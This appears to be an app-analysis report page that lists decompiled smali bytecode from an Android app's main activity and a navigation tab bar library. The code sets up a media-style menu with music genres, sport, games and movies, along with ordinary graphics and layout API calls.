223invoke-virtual {v3}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
224move-result-object v3
226invoke-virtual {v2, v3}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
227new-instance v3, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
228new-instance v4, Lcom/mikepenz/iconics/b;
230invoke-direct {v4, p0}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;)V
232sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->qi:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
234invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->a(Lcom/mikepenz/iconics/b/a;)Lcom/mikepenz/iconics/b;
235move-result-object v4
237invoke-virtual {v4, v7}, Lcom/mikepenz/iconics/b;->a(I)Lcom/mikepenz/iconics/b;
238move-result-object v4
239const/16 v5, 0x12
241invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->h(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 18
242move-result-object v4
243aget-object v5, v1, v8
245invoke-static {v5}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
246move-result v5
248invoke-direct {v3, v4, v5}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
250const-string v4, "Diploma"
252invoke-virtual {v3, v4}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
253move-result-object v3
255const-string v4, "state"
257invoke-virtual {v3, v4}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->b(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
258move-result-object v3
260invoke-virtual {v3}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
261move-result-object v3
263invoke-virtual {v2, v3}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
264new-instance v3, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
265new-instance v4, Lcom/mikepenz/iconics/b;
267invoke-direct {v4, p0}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;)V
269sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->k:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
271invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->a(Lcom/mikepenz/iconics/b/a;)Lcom/mikepenz/iconics/b;
272move-result-object v4
274invoke-virtual {v4, v7}, Lcom/mikepenz/iconics/b;->a(I)Lcom/mikepenz/iconics/b;
275move-result-object v4
276const/16 v5, 0x12
278invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->h(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 18
279move-result-object v4
280aget-object v1, v1, v8
282invoke-static {v1}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
283move-result v1
285invoke-direct {v3, v4, v1}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
287const-string v1, "Diploma"
289invoke-virtual {v3, v1}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
290move-result-object v1
292const-string v3, "state"
294invoke-virtual {v1, v3}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->b(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
295move-result-object v1
297invoke-virtual {v1}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
298move-result-object v1
300invoke-virtual {v2, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
302invoke-virtual {v0, v9}, Ldevlight/io/library/ntb/NavigationTabBar;->setSelected(Z)V
  • Data flow analysis:
    • selected: 1
304invoke-virtual {v0, v2}, Ldevlight/io/library/ntb/NavigationTabBar;->setModels(Ljava/util/List;)V
305new-instance v1, Lcom/pedqaesf/app/INSMainActivity$11;
307invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$11;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
309invoke-virtual {v0, v1}, Ldevlight/io/library/ntb/NavigationTabBar;->setOnTabBarSelectedIndexListener(Ldevlight/io/library/ntb/NavigationTabBar$d;)V
310const v0, 0x7f0f008d
312invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689613
313move-result-object v0
314check-cast v0, Landroid/support/v7/widget/Toolbar;
316invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->a(Landroid/support/v7/widget/Toolbar;)V
317new-instance v1, Lcom/mikepenz/materialdrawer/d;
319invoke-direct {v1, p0}, Lcom/mikepenz/materialdrawer/d;-><init>(Landroid/app/Activity;)V
321invoke-virtual {v1, v0}, Lcom/mikepenz/materialdrawer/d;->a(Landroid/support/v7/widget/Toolbar;)Lcom/mikepenz/materialdrawer/d;
322move-result-object v0
324invoke-virtual {v0, v6}, Lcom/mikepenz/materialdrawer/d;->a(Z)Lcom/mikepenz/materialdrawer/d;
325move-result-object v0
327invoke-virtual {v0, v9}, Lcom/mikepenz/materialdrawer/d;->b(Z)Lcom/mikepenz/materialdrawer/d;
328move-result-object v2
329const/4 v0, 0x6
330new-array v3, v0, [Lcom/mikepenz/materialdrawer/d/a/a;
331new-instance v0, Lcom/mikepenz/materialdrawer/d/h;
333invoke-direct {v0}, Lcom/mikepenz/materialdrawer/d/h;-><init>()V
335const-string v1, "LIVE"
337invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d/h;->a(Ljava/lang/String;)Ljava/lang/Object;
338move-result-object v0
339check-cast v0, Lcom/mikepenz/materialdrawer/d/h;
341sget-object v1, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->gO:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
343invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d/h;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
344move-result-object v0
345check-cast v0, Lcom/mikepenz/materialdrawer/d/a/a;
346aput-object v0, v3, v6
347new-instance v0, Lcom/mikepenz/materialdrawer/d/g;
349invoke-direct {v0}, Lcom/mikepenz/materialdrawer/d/g;-><init>()V
351const-string v1, "MUSIC"
353invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d/g;->a(Ljava/lang/String;)Ljava/lang/Object;
354move-result-object v0
355check-cast v0, Lcom/mikepenz/materialdrawer/d/g;
357sget-object v1, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hS:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
359invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d/g;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
360move-result-object v0
361check-cast v0, Lcom/mikepenz/materialdrawer/d/g;
362const-wide/16 v4, 0x13
364invoke-virtual {v0, v4, v5}, Lcom/mikepenz/materialdrawer/d/g;->a(J)Ljava/lang/Object;
365move-result-object v0
366check-cast v0, Lcom/mikepenz/materialdrawer/d/g;
368invoke-virtual {v0, v6}, Lcom/mikepenz/materialdrawer/d/g;->c(Z)Ljava/lang/Object;
369move-result-object v0
370check-cast v0, Lcom/mikepenz/materialdrawer/d/g;
371const/4 v1, 0x7
372new-array v4, v1, [Lcom/mikepenz/materialdrawer/d/a/a;
373new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
375invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
377const-string v5, "POP"
379invoke-virtual {v1, v5}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
380move-result-object v1
381check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
383invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
384move-result-object v1
385check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
387sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
389invoke-virtual {v1, v5}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
390move-result-object v1
391check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
393invoke-virtual {v1, v10, v11}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
394move-result-object v1
395check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
396aput-object v1, v4, v6
397new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
399invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
401const-string v5, "HIP HOP"
403invoke-virtual {v1, v5}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
404move-result-object v1
405check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
407invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
408move-result-object v1
409check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
411sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
413invoke-virtual {v1, v5}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
414move-result-object v1
415check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
417invoke-virtual {v1, v10, v11}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
418move-result-object v1
419check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
420aput-object v1, v4, v9
421new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
423invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
425const-string v5, "ROCK"
427invoke-virtual {v1, v5}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
428move-result-object v1
429check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
431invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
432move-result-object v1
433check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
435sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
437invoke-virtual {v1, v5}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
438move-result-object v1
439check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
440const-wide/16 v6, 0x7d3
442invoke-virtual {v1, v6, v7}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
443move-result-object v1
444check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
445aput-object v1, v4, v8
446const/4 v5, 0x3
447new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
449invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
451const-string v6, "HOUSE"
453invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
454move-result-object v1
455check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
457invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
458move-result-object v1
459check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
461sget-object v6, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
463invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
464move-result-object v1
465check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
467invoke-virtual {v1, v10, v11}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
468move-result-object v1
469check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
470aput-object v1, v4, v5
471const/4 v5, 0x4
472new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
474invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
476const-string v6, "GOSPEL MUSIC"
478invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
479move-result-object v1
480check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
482invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
483move-result-object v1
484check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
486sget-object v6, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
488invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
489move-result-object v1
490check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
492invoke-virtual {v1, v10, v11}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
493move-result-object v1
494check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
495aput-object v1, v4, v5
496const/4 v5, 0x5
497new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
499invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
501const-string v6, "ALTERNATIVE ROCK"
503invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
504move-result-object v1
505check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
507invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
508move-result-object v1
509check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
511sget-object v6, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
513invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
514move-result-object v1
515check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
517invoke-virtual {v1, v10, v11}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
518move-result-object v1
519check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
520aput-object v1, v4, v5
521const/4 v5, 0x6
522new-instance v1, Lcom/mikepenz/materialdrawer/d/i;
524invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/i;-><init>()V
526const-string v6, "HEAVY METAL"
528invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Ljava/lang/String;)Ljava/lang/Object;
529move-result-object v1
530check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
532invoke-virtual {v1, v8}, Lcom/mikepenz/materialdrawer/d/i;->a(I)Ljava/lang/Object;
533move-result-object v1
534check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
536sget-object v6, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->hQ:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
538invoke-virtual {v1, v6}, Lcom/mikepenz/materialdrawer/d/i;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
539move-result-object v1
540check-cast v1, Lcom/mikepenz/materialdrawer/d/i;
542invoke-virtual {v1, v10, v11}, Lcom/mikepenz/materialdrawer/d/i;->a(J)Ljava/lang/Object;
543move-result-object v1
544check-cast v1, Lcom/mikepenz/materialdrawer/d/a/a;
545aput-object v1, v4, v5
547invoke-virtual {v0, v4}, Lcom/mikepenz/materialdrawer/d/g;->a([Lcom/mikepenz/materialdrawer/d/a/a;)Ljava/lang/Object;
548move-result-object v0
549check-cast v0, Lcom/mikepenz/materialdrawer/d/a/a;
550aput-object v0, v3, v9
551new-instance v0, Lcom/mikepenz/materialdrawer/d/h;
553invoke-direct {v0}, Lcom/mikepenz/materialdrawer/d/h;-><init>()V
555const-string v1, "SPORT"
557invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d/h;->a(Ljava/lang/String;)Ljava/lang/Object;
558move-result-object v0
559check-cast v0, Lcom/mikepenz/materialdrawer/d/h;
561sget-object v1, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->lL:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
563invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d/h;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
564move-result-object v0
565check-cast v0, Lcom/mikepenz/materialdrawer/d/a/a;
566aput-object v0, v3, v8
567const/4 v1, 0x3
568new-instance v0, Lcom/mikepenz/materialdrawer/d/h;
570invoke-direct {v0}, Lcom/mikepenz/materialdrawer/d/h;-><init>()V
572const-string v4, "GAME"
574invoke-virtual {v0, v4}, Lcom/mikepenz/materialdrawer/d/h;->a(Ljava/lang/String;)Ljava/lang/Object;
575move-result-object v0
576check-cast v0, Lcom/mikepenz/materialdrawer/d/h;
578sget-object v4, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->gg:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
580invoke-virtual {v0, v4}, Lcom/mikepenz/materialdrawer/d/h;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
581move-result-object v0
582check-cast v0, Lcom/mikepenz/materialdrawer/d/a/a;
583aput-object v0, v3, v1
584const/4 v1, 0x4
585new-instance v0, Lcom/mikepenz/materialdrawer/d/h;
587invoke-direct {v0}, Lcom/mikepenz/materialdrawer/d/h;-><init>()V
589const-string v4, "MOVIES"
591invoke-virtual {v0, v4}, Lcom/mikepenz/materialdrawer/d/h;->a(Ljava/lang/String;)Ljava/lang/Object;
592move-result-object v0
593check-cast v0, Lcom/mikepenz/materialdrawer/d/h;
595sget-object v4, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->jy:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
597invoke-virtual {v0, v4}, Lcom/mikepenz/materialdrawer/d/h;->a(Lcom/mikepenz/iconics/b/a;)Ljava/lang/Object;
598move-result-object v0
599check-cast v0, Lcom/mikepenz/materialdrawer/d/a/a;
600aput-object v0, v3, v1
601const/4 v0, 0x5
602new-instance v1, Lcom/mikepenz/materialdrawer/d/j;
604invoke-direct {v1}, Lcom/mikepenz/materialdrawer/d/j;-><init>()V
605aput-object v1, v3, v0
607invoke-virtual {v2, v3}, Lcom/mikepenz/materialdrawer/d;->a([Lcom/mikepenz/materialdrawer/d/a/a;)Lcom/mikepenz/materialdrawer/d;
608move-result-object v0
609new-instance v1, Lcom/pedqaesf/app/INSMainActivity$12;
611invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$12;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
613invoke-virtual {v0, v1}, Lcom/mikepenz/materialdrawer/d;->a(Lcom/mikepenz/materialdrawer/c$a;)Lcom/mikepenz/materialdrawer/d;
614move-result-object v0
616invoke-virtual {v0, p1}, Lcom/mikepenz/materialdrawer/d;->a(Landroid/os/Bundle;)Lcom/mikepenz/materialdrawer/d;
617move-result-object v0
619invoke-virtual {v0}, Lcom/mikepenz/materialdrawer/d;->e()Lcom/mikepenz/materialdrawer/c;
620move-result-object v0
621iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->E:Lcom/mikepenz/materialdrawer/c;
622return-void
623cond_385:
624iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->z:Landroid/view/ViewStub;
625const v1, 0x7f040022
627invoke-virtual {v0, v1}, Landroid/view/ViewStub;->setLayoutResource(I)V
  • Data flow analysis:
    • layoutResource: 2130968610
629iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->z:Landroid/view/ViewStub;
631invoke-virtual {v0}, Landroid/view/ViewStub;->inflate()Landroid/view/View;
632iput-boolean v9, p0, Lcom/pedqaesf/app/INSMainActivity;->v:Z
633const v0, 0x7f0f0095
635invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689621
636move-result-object v0
637check-cast v0, Landroid/widget/Button;
638iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->w:Landroid/widget/Button;
639const v0, 0x7f0f0096
641invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689622
642move-result-object v0
643check-cast v0, Landroid/widget/Button;
644iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->x:Landroid/widget/Button;
645const v0, 0x7f0f0097
647invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689623
648move-result-object v0
649check-cast v0, Landroid/widget/Button;
650iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->y:Landroid/widget/Button;
652iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->w:Landroid/widget/Button;
653new-instance v1, Lcom/pedqaesf/app/INSMainActivity$8;
655invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$8;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
657invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
659iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->x:Landroid/widget/Button;
660new-instance v1, Lcom/pedqaesf/app/INSMainActivity$9;
662invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$9;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
664invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
666iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->y:Landroid/widget/Button;
667new-instance v1, Lcom/pedqaesf/app/INSMainActivity$10;
669invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$10;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
671invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
672goto/16 :goto_cb
673catch_3d5: move-exception v0
674goto/16 :goto_50
Cross References
APIs
  • android.view.View.<init>
  • android.graphics.RectF.<init>
  • android.graphics.Rect.<init>
  • android.graphics.RectF.<init>
  • android.graphics.Canvas.<init>
  • devlight.io.library.ntb.NavigationTabBar$1.<init>
  • devlight.io.library.ntb.NavigationTabBar$3.<init>
  • devlight.io.library.ntb.NavigationTabBar$4.<init>
  • android.graphics.Paint.<init>
  • devlight.io.library.ntb.NavigationTabBar$5.<init>
  • devlight.io.library.ntb.NavigationTabBar$6.<init>
  • devlight.io.library.ntb.NavigationTabBar$7.<init>
  • android.animation.ValueAnimator.<init>
  • java.util.ArrayList.<init>
  • devlight.io.library.ntb.NavigationTabBar.setWillNotDraw
  • android.support.v4.view.ah.a
  • devlight.io.library.ntb.NavigationTabBar.setLayerType
  • android.content.Context.obtainStyledAttributes
  • android.content.res.TypedArray.getBoolean
  • devlight.io.library.ntb.NavigationTabBar.setIsTitled
  • android.content.res.TypedArray.getBoolean
  • devlight.io.library.ntb.NavigationTabBar.setIsBadged
  • android.content.res.TypedArray.getBoolean
  • devlight.io.library.ntb.NavigationTabBar.setIsScaled
  • android.content.res.TypedArray.getBoolean
  • devlight.io.library.ntb.NavigationTabBar.setIsTinted
  • android.content.res.TypedArray.getBoolean
  • devlight.io.library.ntb.NavigationTabBar.setIsSwiped
  • android.content.res.TypedArray.getDimension
  • devlight.io.library.ntb.NavigationTabBar.setTitleSize
  • android.content.res.TypedArray.getBoolean
  • devlight.io.library.ntb.NavigationTabBar.setIsBadgeUseTypeface
  • android.content.res.TypedArray.getInt
  • devlight.io.library.ntb.NavigationTabBar.setTitleMode
  • android.content.res.TypedArray.getDimension
  • devlight.io.library.ntb.NavigationTabBar.setBadgeSize
  • android.content.res.TypedArray.getInt
  • devlight.io.library.ntb.NavigationTabBar.setBadgePosition
  • android.content.res.TypedArray.getInt
  • devlight.io.library.ntb.NavigationTabBar.setBadgeGravity
  • android.content.res.TypedArray.getColor
  • devlight.io.library.ntb.NavigationTabBar.setBadgeBgColor
  • android.content.res.TypedArray.getColor
  • devlight.io.library.ntb.NavigationTabBar.setBadgeTitleColor
  • android.content.res.TypedArray.getString
  • devlight.io.library.ntb.NavigationTabBar.setTypeface
  • android.content.res.TypedArray.getColor
  • devlight.io.library.ntb.NavigationTabBar.setInactiveColor
  • android.content.res.TypedArray.getColor
  • devlight.io.library.ntb.NavigationTabBar.setActiveColor
  • android.content.res.TypedArray.getColor
  • devlight.io.library.ntb.NavigationTabBar.setBgColor
  • android.content.res.TypedArray.getInteger
  • devlight.io.library.ntb.NavigationTabBar.setAnimationDuration
  • android.content.res.TypedArray.getDimension
  • devlight.io.library.ntb.NavigationTabBar.setCornersRadius
  • android.content.res.TypedArray.getFloat
  • devlight.io.library.ntb.NavigationTabBar.setIconSizeFraction
  • android.animation.ValueAnimator.setFloatValues
  • android.view.animation.LinearInterpolator.<init>
  • android.animation.ValueAnimator.setInterpolator
  • android.animation.ValueAnimator.addUpdateListener
  • devlight.io.library.ntb.NavigationTabBar.isInEditMode
  • android.content.res.TypedArray.getResourceId
  • android.content.res.TypedArray.getResources
  • android.content.res.Resources.getStringArray
  • android.graphics.Color.parseColor
  • java.util.List.add
  • android.content.res.TypedArray.getResources
  • android.content.res.Resources.getStringArray
  • devlight.io.library.ntb.NavigationTabBar.requestLayout
  • android.content.res.TypedArray.recycle
  • java.lang.Exception.printStackTrace
  • android.content.res.TypedArray.getResources
  • android.content.res.Resources.getStringArray
  • android.graphics.Color.parseColor
  • java.util.List.add
  • devlight.io.library.ntb.NavigationTabBar.requestLayout
  • android.content.res.TypedArray.recycle
  • android.content.res.TypedArray.getResources
  • android.content.res.Resources.getStringArray
  • android.graphics.Color.parseColor
  • java.util.List.add
  • devlight.io.library.ntb.NavigationTabBar.requestLayout
Position Instruction Meta Information
0.prologue
1const/high16 v5, -0x40000000 # -2.0f
2const/4 v4, 0x1
3const/4 v0, 0x0
4const/4 v3, 0x7
5const/4 v2, 0x0
7invoke-direct {p0, p1, p2, p3}, Landroid/view/View;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
8new-instance v1, Landroid/graphics/RectF;
10invoke-direct {v1}, Landroid/graphics/RectF;-><init>()V
11iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->f:Landroid/graphics/RectF;
12new-instance v1, Landroid/graphics/RectF;
14invoke-direct {v1}, Landroid/graphics/RectF;-><init>()V
15iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->g:Landroid/graphics/RectF;
16new-instance v1, Landroid/graphics/RectF;
18invoke-direct {v1}, Landroid/graphics/RectF;-><init>()V
19iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->h:Landroid/graphics/RectF;
20new-instance v1, Landroid/graphics/Rect;
22invoke-direct {v1}, Landroid/graphics/Rect;-><init>()V
23iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->i:Landroid/graphics/Rect;
24new-instance v1, Landroid/graphics/RectF;
26invoke-direct {v1}, Landroid/graphics/RectF;-><init>()V
27iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->j:Landroid/graphics/RectF;
28new-instance v1, Landroid/graphics/Canvas;
30invoke-direct {v1}, Landroid/graphics/Canvas;-><init>()V
31iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->l:Landroid/graphics/Canvas;
32new-instance v1, Landroid/graphics/Canvas;
34invoke-direct {v1}, Landroid/graphics/Canvas;-><init>()V
35iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->n:Landroid/graphics/Canvas;
36new-instance v1, Landroid/graphics/Canvas;
38invoke-direct {v1}, Landroid/graphics/Canvas;-><init>()V
39iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->p:Landroid/graphics/Canvas;
40new-instance v1, Landroid/graphics/Canvas;
42invoke-direct {v1}, Landroid/graphics/Canvas;-><init>()V
43iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->r:Landroid/graphics/Canvas;
44new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$1;
46invoke-direct {v1, p0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$1;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;I)V
  • Data flow analysis:
    • p1: 7
47iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->x:Landroid/graphics/Paint;
48new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$3;
50invoke-direct {v1, p0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$3;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;I)V
  • Data flow analysis:
    • p1: 7
51iput-object v1, p0, Ldevlight/io/library/ntb/NavigationTabBar;->y:Landroid/graphics/Paint;
52new-instance v1, Ldevlight/io/library/ntb/NavigationTabBar$4;
54invoke-direct {v1, p0, v3}, Ldevlight/io/library/ntb/NavigationTabBar$4;-><init>(Ldevlight/io/library/ntb/NavigationTabBar;I)V
  • Data flow analysis:
    • p1: 7
